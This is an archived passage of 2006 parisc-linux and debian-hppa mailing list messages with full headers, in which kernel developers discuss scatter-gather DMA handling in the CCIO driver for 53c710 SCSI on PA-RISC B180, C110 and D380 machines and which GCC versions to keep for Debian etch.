	id 8257E49400E; Sat, 14 Oct 2006 08:11:47 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <4530DF1F.5060601@scarlet.be>
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: HMcCdAd/Iyd1EvqQe2drPw9aa2FkZpXO
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25345

On Sat, Oct 14, 2006 at 12:59:11PM +0000, Joel Soete wrote:
> but yes that's the primary question and:
> 	* I encountered pbs with ncr53c720 and core io ncr53c710
> 	 (different pb with each hba but same one-to-one on d380 and c110),
> 	* but no pb with same disk (and its scsi chain: cable + terminator) 
> 	with ncr53c710 (behind dino) on a b180,
> so
> 	* no hw pb with disk,
> 	* no sw pb with nc53c710 Jame's driver,
> 	 (even thought less sure, as make me noticed Mike:
> 		on b180, 53c710 is behind dino i.e. gsc pci bus bridge, 
> 		right?
> 		on c110 and d380, this 53c710 is behind LASI (afaik just a 
> 		vlsi assembly and no bus bridge)
> 		so could be also a pb with 53c710 when married with gsc?)

You should never listen to Zick.  53c710 is always part of Lasi on PA
machines.  There's a discrete 53c700 on pre-Lasi machines.  There is
never a 53c710 behind Dino.  Dino has a serial port, a ps/2 port, and a
pci host bridge.

> 	* most probably the pb is well in sg list management in ccio (afaik 
> 	not used by dino)

Wrong.  sg list management is used by PCI devices behind Dino as well as
by GSC devices.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@scarlet.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: CCIO dma io_command and related io_tlb format
	questions.
Date: Sat, 14 Oct 2006 23:35:47 +0000
Lines: 115
Approved: news@gmane.org
Message-ID: <45317453.1090603@scarlet.be>
References: <J70JNP$255156D3B4F90827118C5EFE40FD3ABF@scarlet.be>
	<20061012195503.GA15124@colo.lackof.org>
	<452F70F2.4020700@scarlet.be>
	<20061013164406.GC13770@colo.lackof.org>
	<4530DF1F.5060601@scarlet.be>
	<20061014141147.GM11633@parisc-linux.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624611 27826 80.91.229.3 (22 Nov 2014 02:50:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:50:11 +0000 (UTC)
Cc: parisc-linux <parisc-linux@parisc-linux.org>
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: - Wed Jul 02 21:28:22 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 14 Oct 2006 23:36:11 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx060) with SMTP; 15 Oct 2006 01:36:11 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BD02F7D80B;
	Sat, 14 Oct 2006 17:36:06 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19871-07; Sat, 14 Oct 2006 17:36:06 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id EE55E7D80C;
	Sat, 14 Oct 2006 17:36:04 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 94A757D6FC
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 14 Oct 2006 17:36:01 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19871-04 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 14 Oct 2006 17:36:00 -0600 (MDT)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 56B127D6D5
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 14 Oct 2006 17:36:00 -0600 (MDT)
Original-Received: by mail.parisc-linux.org (Postfix)
	id 00E60494010; Sat, 14 Oct 2006 17:36:00 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from guri.is.scarlet.be (guri.is.scarlet.be [193.74.71.22])
	by mail.parisc-linux.org (Postfix) with ESMTP id 0F8E249400E;
	Sat, 14 Oct 2006 17:35:57 -0600 (MDT)
Original-Received: from (ip-213-49-73-75.dsl.scarlet.be [213.49.73.75]) 
	by guri.is.scarlet.be  with ESMTP id k9ENZnC27715; 
	Sun, 15 Oct 2006 01:35:49 +0200
User-Agent: Thunderbird 1.5.0.7 (X11/20060927)
In-Reply-To: <20061014141147.GM11633@parisc-linux.org>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: AhlTEXN3bXBtTrqHPTQ2AksqLyUmZYiP
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25346



Matthew Wilcox wrote:
> On Sat, Oct 14, 2006 at 12:59:11PM +0000, Joel Soete wrote:
>> but yes that's the primary question and:
>> 	* I encountered pbs with ncr53c720 and core io ncr53c710
>> 	 (different pb with each hba but same one-to-one on d380 and c110),
>> 	* but no pb with same disk (and its scsi chain: cable + terminator) 
>> 	with ncr53c710 (behind dino) on a b180,
>> so
>> 	* no hw pb with disk,
>> 	* no sw pb with nc53c710 Jame's driver,
>> 	 (even thought less sure, as make me noticed Mike:
>> 		on b180, 53c710 is behind dino i.e. gsc pci bus bridge, 
>> 		right?
>> 		on c110 and d380, this 53c710 is behind LASI (afaik just a 
>> 		vlsi assembly and no bus bridge)
>> 		so could be also a pb with 53c710 when married with gsc?)
> 
> You should never listen to Zick.
Don't blame Mike, it's my mistake I would have to check my ioscan before mentioned this hypothesis
(Appologie Mike)

   53c710 is always part of Lasi on PA
> machines.  There's a discrete 53c700 on pre-Lasi machines.  There is
> never a 53c710 behind Dino.  Dino has a serial port, a ps/2 port, and a
> pci host bridge.
> 
ok my bad.

>> 	* most probably the pb is well in sg list management in ccio (afaik 
>> 	not used by dino)
> 
> Wrong.  sg list management is used by PCI devices behind Dino as well as
> by GSC devices.
> 
Yes and no: there is a big diff between b180 and c110/d380 arch about connectic between cpu and lasi in particular:
on b180 ioscan tel me (grab from hw db):

> :pa:F:F:F:-1:-1:4294967295:bc:root:::0:root:root:CLAIMED:BUS_NEXUS::0
> pa:pa:F:F:F:-1:-1:4294967295:bc:bus_converter:8:80 64 0 7 0 0 0 0 0 0 0 0 0 0 0 0 :1:root.bc:bc:CLAIMED:BUS_NEXUS:Pseudo Bus Converter:1
[snip]
> pa:core:F:F:F:-1:-1:4294967295:ba:core_adapter:8/16:3 240 128 75 0 0 129 0 0 0 0 0 0 0 0 0 :1:root.bc.bus_adapter:bus_adapter:CLAIMED:BUS_NEXUS:Core I/O Adapter:1
> core:wsio:F:T:F:-1:216:131072:ext_bus:CentIf:8/16/0:3 240 128 10 0 0 116 0 0 0 0 0 0 0 0 0 :2:root.bc.bus_adapter.CentIf:CentIf:CLAIMED:INTERFACE:Built-in Parallel Interface:2
> core:wsio:F:T:F:-1:66:0:audio:audio:8/16/1:3 244 128 10 0 0 123 0 0 0 0 0 0 0 0 0 :0:root.bc.bus_adapter.audio:audio:CLAIMED:INTERFACE:Built-in Audio:0
> core:wsio:F:T:F:-1:1:0:tty:asio0:8/16/4:3 240 0 138 0 0 140 0 1 0 0 0 99 9 0 2 :0:root.bc.bus_adapter.asio0:asio0:CLAIMED:INTERFACE:Built-in RS-232C:0
> core:wsio:F:F:F:0:0:65536:ext_bus:c720:8/16/5:3 240 128 138 0 0 130 0 153 0 1 0 77 65 0 2 :1:root.bc.bus_adapter.c720:c720:CLAIMED:INTERFACE:Built-in SCSI:1
> scsi:wsio:F:F:F:-1:-1:4294967295:target:tgt:8/16/5.7:0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 :2:root.bc.bus_adapter.c720.tgt:tgt:CLAIMED:DEVICE::1
> scsi:wsio:F:T:F:-1:203:94208:ctl:sctl:8/16/5.7.0:0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 :1:root.bc.bus_adapter.c720.tgt.sctl:sctl:CLAIMED:DEVICE:Initiator:1
> core:wsio:F:T:F:-1:159:0:ps2:ps2:8/16/7:3 240 0 138 0 0 132 0 0 0 0 0 110 5 0 2 :0:root.bc.bus_adapter.ps2:ps2:CLAIMED:INTERFACE:Built-in Keyboard/Mouse:0
> pa:wsio:F:F:F:-1:229:4294967295:graphics:graph3:8/24:1 96 0 138 0 0 133 0 1 0 0 0 104 38 0 2 :1:root.bc.graph3:graph3:CLAIMED:INTERFACE:Graphics:1
> pa:pa:F:F:F:-1:-1:4294967295:processor:processor:62:80 64 0 64 0 0 4 129 0 0 0 0 0 0 0 0 :0:root.processor:processor:CLAIMED:PROCESSOR:Processor:0
> pa:pa:F:F:F:-1:-1:4294967295:memory:memory:63:5 160 31 65 0 0 9 0 0 0 0 0 0 0 0 0 :0:root.memory:memory:CLAIMED:MEMORY:Memory:0
> 

so the cpu and ram seems to me connected directly to the root bus.

and the "core_adapter" (I guess lasi interface) is connected to the root bus (btw to cpu) through a bc named here Pseudo Bus 
Converter.

Otoh for c110 (e.g.)

> :pa:F:F:F:-1:-1:4294967295:bc:root:::0:root:root:CLAIMED:BUS_NEXUS::0
> pa:pa:F:F:F:-1:-1:4294967295:bc:bus_converter:8:88 7 8 76 0 0 11 80 0 0 0 0 0 0 0 0 :1:root.ccio:ccio:CLAIMED:BUS_NEXUS:I/O Adapter:1
[snip]
> pa:core:F:F:F:-1:-1:4294967295:ba:core_adapter:8/16:3 32 0 139 0 0 129 0 0 0 0 0 123 85 0 0 :0:root.ccio.bus_adapter:bus_adapter:CLAIMED:BUS_NEXUS:Core I/O Adapter:0
> core:wsio:F:T:F:-1:216:131072:ext_bus:CentIf:8/16/0:3 32 0 10 0 0 116 0 0 0 0 0 0 0 0 0 :2:root.ccio.bus_adapter.CentIf:CentIf:CLAIMED:INTERFACE:Built-in Parallel Interface:2
> core:wsio:F:T:F:-1:66:0:audio:audio:8/16/1:3 32 0 10 0 0 123 0 0 0 0 0 0 0 0 0 :0:root.ccio.bus_adapter.audio:audio:CLAIMED:INTERFACE:Built-in Audio:0
> core:wsio:F:T:F:-1:1:0:tty:asio0:8/16/4:3 32 0 138 0 0 140 0 0 0 0 0 100 121 0 2 :0:root.ccio.bus_adapter.asio0:asio0:CLAIMED:INTERFACE:Built-in RS-232C:0
> core:wsio:F:F:F:0:0:65536:ext_bus:c720:8/16/5:3 32 0 138 0 0 130 0 0 0 0 0 105 39 0 2 :1:root.ccio.bus_adapter.c720:c720:CLAIMED:INTERFACE:Built-in SCSI:1
> scsi:wsio:F:F:F:-1:-1:4294967295:target:tgt:8/16/5.5:0 0 2 2 0 0 0 0 255 242 66 246 235 229 217 91 :2:root.ccio.bus_adapter.c720.tgt:tgt:CLAIMED:DEVICE::1
> scsi:wsio:T:T:F:31:188:86016:disk:sdisk:8/16/5.5.0:0 0 2 2 0 0 0 0 255 242 66 246 235 229 217 91 :3:root.ccio.bus_adapter.c720.tgt.sdisk:sdisk:CLAIMED:DEVICE:Quantum VP32210:1
> scsi:wsio:F:F:F:-1:-1:4294967295:target:tgt:8/16/5.7:0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 :3:root.ccio.bus_adapter.c720.tgt:tgt:CLAIMED:DEVICE::1
> scsi:wsio:F:T:F:-1:203:94208:ctl:sctl:8/16/5.7.0:0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 :1:root.ccio.bus_adapter.c720.tgt.sctl:sctl:CLAIMED:DEVICE:Initiator:1
> core:wsio:F:T:F:-1:52:0:lan:lan2:8/16/6:3 32 0 138 0 0 138 0 0 0 0 0 91 253 0 2 :0:root.ccio.bus_adapter.lan2:lan2:CLAIMED:INTERFACE:Built-in LAN:0
> core:wsio:F:T:F:-1:159:0:ps2:ps2:8/16/7:3 32 0 138 0 0 132 0 0 0 0 0 110 57 0 2 :0:root.ccio.bus_adapter.ps2:ps2:CLAIMED:INTERFACE:Built-in Keyboard/Mouse:0
> core:wsio:F:F:F:0:0:0:pc:fdc:8/16/10:3 32 0 10 0 0 131 0 0 0 0 0 0 0 0 0 :0:root.ccio.bus_adapter.fdc:fdc:CLAIMED:INTERFACE:Built-in Floppy Drive:0
> pa:core:F:F:F:-1:-1:4294967295:ba:core_adapter:8/20:1 224 0 11 0 0 142 0 0 0 0 0 0 0 0 0 :1:root.ccio.bus_adapter:bus_adapter:CLAIMED:BUS_NEXUS:Core I/O Adapter:1
> core:wsio:F:T:F:-1:24:0:hil:hil:8/20/1:1 224 0 138 0 0 115 0 0 0 0 0 129 124 0 2 :0:root.ccio.bus_adapter.hil:hil:CLAIMED:INTERFACE:Built-in HIL:0
> core:wsio:F:T:F:-1:1:65536:tty:asio0:8/20/2:1 224 0 138 0 0 140 128 0 0 0 0 101 57 0 2 :1:root.ccio.bus_adapter.asio0:asio0:CLAIMED:INTERFACE:Built-in RS-232C:1
> core:eisa:F:F:F:-1:-1:4294967295:ba:eisa_adapter:8/20/5:1 224 0 11 0 0 144 0 0 0 0 0 0 0 0 0 :2:root.ccio.bus_adapter.eisa:eisa:CLAIMED:BUS_NEXUS:EISA Bus Adapter:2
> core:wsio:F:F:F:-1:-1:4294967295:unknown:unknown:8/20/5/1:0 0 0 0 :0:root.ccio.bus_adapter.eisa.unknown:unknown:CLAIMED:INTERFACE:ISA card #:0
> core:wsio:F:T:F:-1:76:0:sicl:sicl:8/20/5/2:0 0 0 0 :0:root.ccio.bus_adapter.eisa.sicl:sicl:CLAIMED:INTERFACE:ISA card #:0
> pa:pa:F:F:F:-1:-1:4294967295:bc:bus_converter:10:88 7 8 76 0 0 11 80 0 0 0 0 0 0 0 0 :2:root.ccio:ccio:CLAIMED:BUS_NEXUS:I/O Adapter:2
> pa:wsio:F:F:F:-1:229:4294967295:graphics:graph3:10/16:3 32 0 138 0 0 133 0 1 0 0 0 107 5 0 2 :0:root.ccio.graph3:graph3:CLAIMED:INTERFACE:Graphics:0
> pa:pa:F:F:F:-1:-1:4294967295:processor:processor:32:88 224 0 0 0 0 4 129 0 0 0 0 0 0 0 0 :0:root.processor:processor:CLAIMED:PROCESSOR:Processor:0
> pa:pa:F:F:F:-1:-1:4294967295:memory:memory:49:4 144 26 1 0 0 9 0 0 0 0 0 0 0 0 0 :0:root.memory:memory:CLAIMED:MEMORY:Memory:0

Here again cpu and ram are also connected directly connected to the root bus.

and otc the core_adapter (I always guess that's lasi interface) is connected to the root bus through ccio bc.

So here, I guess that software reflect this hw configuration and when a lasi module driver (let say e.g. 53c710) need some 
io resources it would forward the request to ccio module driver which would most probably have to use its own sg list 
management functions (like ccio_map_single(), ccio_unmap_single(), ccio_map_sg(), ccio_unmap_sg(), etc) which I called "sg 
list management in ccio".

Otc on b180 lasi module would better have to address there request to the "Pseudo Bus Converter", i.e. quasi directly.

So why/how the kernel on b180 would use those same functions (ccio_map_single(), ccio_unmap_single(), ccio_map_sg(), 
ccio_unmap_sg(), etc) to manage sg list of a non-exitent device???

What did I miss?

Thanks,
	Joel


> 
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] GCC versions on hppa for etch
Date: Sun, 15 Oct 2006 22:03:32 -0600
Lines: 23
Approved: news@gmane.org
Message-ID: <20061016040332.GC28382__11612.8706060865$1416624611$gmane$org@colo.lackof.org>
References: <17701.39824.601717.433929@gargle.gargle.HOWL>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624611 27828 80.91.229.3 (22 Nov 2014 02:50:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:50:11 +0000 (UTC)
Cc: debian-hppa@lists.debian.org,
 parisc-linux@parisc-linux.org
To: Matthias Klose <doko@cs.tu-berlin.de>
Original-X-From: - Wed Jul 02 21:28:22 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <bounce-debian-hppa=deller=gmx.de@lists.debian.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 16 Oct 2006 04:03:36 -0000
Original-Received: from murphy.debian.org (EHLO murphy.debian.org) [70.103.162.31]
  by mx0.gmx.net (mx085) with SMTP; 16 Oct 2006 06:03:36 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by murphy.debian.org (Postfix) with QMQP
	id 8C1CA2EFAA; Sun, 15 Oct 2006 23:03:34 -0500 (CDT)
Old-Return-Path: <grundler@lackof.org>
X-Original-To: debian-hppa@lists.debian.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by murphy.debian.org (Postfix) with ESMTP id 804BA2ECF3
	for <debian-hppa@lists.debian.org>; Sun, 15 Oct 2006 23:03:33 -0500 (CDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 4E6DF298053;
	Sun, 15 Oct 2006 22:03:33 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09866-04; Sun, 15 Oct 2006 22:03:33 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id E120729804B; Sun, 15 Oct 2006 22:03:32 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <17701.39824.601717.433929@gargle.gargle.HOWL>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Rc-Virus: 2005-11-10_01
X-Rc-Spam: 2006-04-09_01
X-Spam-Checker-Version: SpamAssassin 3.0.3 (2005-04-27) on murphy.debian.org
X-Spam-Status: No, score=0.1 required=4.0 tests=AWL autolearn=no version=3.0.3
Resent-Message-ID: <mVuKzD.A.EfB.WSwMFB@murphy>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/5518
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
Resent-Date: Sun, 15 Oct 2006 23:03:34 -0500 (CDT)
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Sender is in whitelist: bounce-debian-hppa=deller=gmx.de@lists.debian.org)
X-GMX-UID: 1nFSIV82a0AoXL6aejEz9B83Njh6dI6W
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25347

On Fri, Oct 06, 2006 at 01:56:00AM +0200, Matthias Klose wrote:
> Can gcc-4.0-hppa64 and gcc-4.0 be dropped for etch?

I don't recall seeing any other opinions on this one: Yes

>  My current plan is
> to keep gcc-4.1-hppa64 and gcc-3.4-hppa64. we can drop gcc-3.4-hppa64
> as well, but will have to keep the other compilers from the GCC-3.4
> package anyway.

I'm pretty comfortable with gcc-4.1-hppa64 for kernel builds.
I haven't tested any kernels built in the past couple of weeks
but I know it worked for me in August.

thanks
grant


-- 
To UNSUBSCRIBE, email to debian-hppa-REQUEST@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmaster@lists.debian.org



From - Thu Nov 08 21:36:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: CCIO dma io_command and related io_tlb format
	questions.
Date: Sat, 14 Oct 2006 21:28:58 -0600
Lines: 35
Approved: news@gmane.org
Message-ID: <20061015032858.GB22026@colo.lackof.org>
References: <J70JNP$255156D3B4F90827118C5EFE40FD3ABF@scarlet.be>
	<20061012195503.GA15124@colo.lackof.org>
	<452F70F2.4020700@scarlet.be>
	<20061013164406.GC13770@colo.lackof.org>
	<4530DF1F.5060601@scarlet.be>
	<20061014141147.GM11633@parisc-linux.org>
	<45317453.1090603@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624612 27834 80.91.229.3 (22 Nov 2014 02:50:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:50:12 +0000 (UTC)
Cc: parisc-linux <parisc-linux@parisc-linux.org>
To: Joel Soete <soete.joel@scarlet.be>
Original-X-From: - Wed Jul 02 21:28:22 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 15 Oct 2006 03:29:12 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx088) with SMTP; 15 Oct 2006 05:29:12 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 030437D817;
	Sat, 14 Oct 2006 21:29:08 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 22450-07; Sat, 14 Oct 2006 21:29:07 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2F00D7D81A;
	Sat, 14 Oct 2006 21:29:06 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B348B7D80C
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 14 Oct 2006 21:29:03 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 22450-04 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 14 Oct 2006 21:29:02 -0600 (MDT)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 80ED77D807
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 14 Oct 2006 21:29:02 -0600 (MDT)
Original-Received: by mail.parisc-linux.org (Postfix)
	id 2A78D49400F; Sat, 14 Oct 2006 21:29:02 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "mail.lackof.org",
	Issuer "CAcert Class 3 Root" (verified OK))
	by mail.parisc-linux.org (Postfix) with ESMTP id ED0D949400E
	for <parisc-linux@parisc-linux.org>;
	Sat, 14 Oct 2006 21:29:00 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 50B2B398412;
	Sat, 14 Oct 2006 21:28:59 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 22348-10; Sat, 14 Oct 2006 21:28:58 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 87BA83980B6; Sat, 14 Oct 2006 21:28:58 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <45317453.1090603@scarlet.be>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: OJkXbR/wLi5nE/fRZWtpmtZjZml1ZNiP
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25348

On Sat, Oct 14, 2006 at 11:35:47PM +0000, Joel Soete wrote:
...
> So here, I guess that software reflect this hw configuration and when a 
> lasi module driver (let say e.g. 53c710) need some io resources it would 
> forward the request to ccio module driver which would most probably have to 
> use its own sg list management functions (like ccio_map_single(), 
> ccio_unmap_single(), ccio_map_sg(), ccio_unmap_sg(), etc) which I called 
> "sg list management in ccio".

This is correct for C/K/D/R class machines which have U2/Uturn chip.

> Otc on b180 lasi module would better have to address there request to the 
> "Pseudo Bus Converter", i.e. quasi directly.

"Pseudo" means "fake". Ie the "Pseudo bus converter" just a place holder
in the HW path on B-class machines and not a real piece of HW.

> So why/how the kernel on b180 would use those same functions 
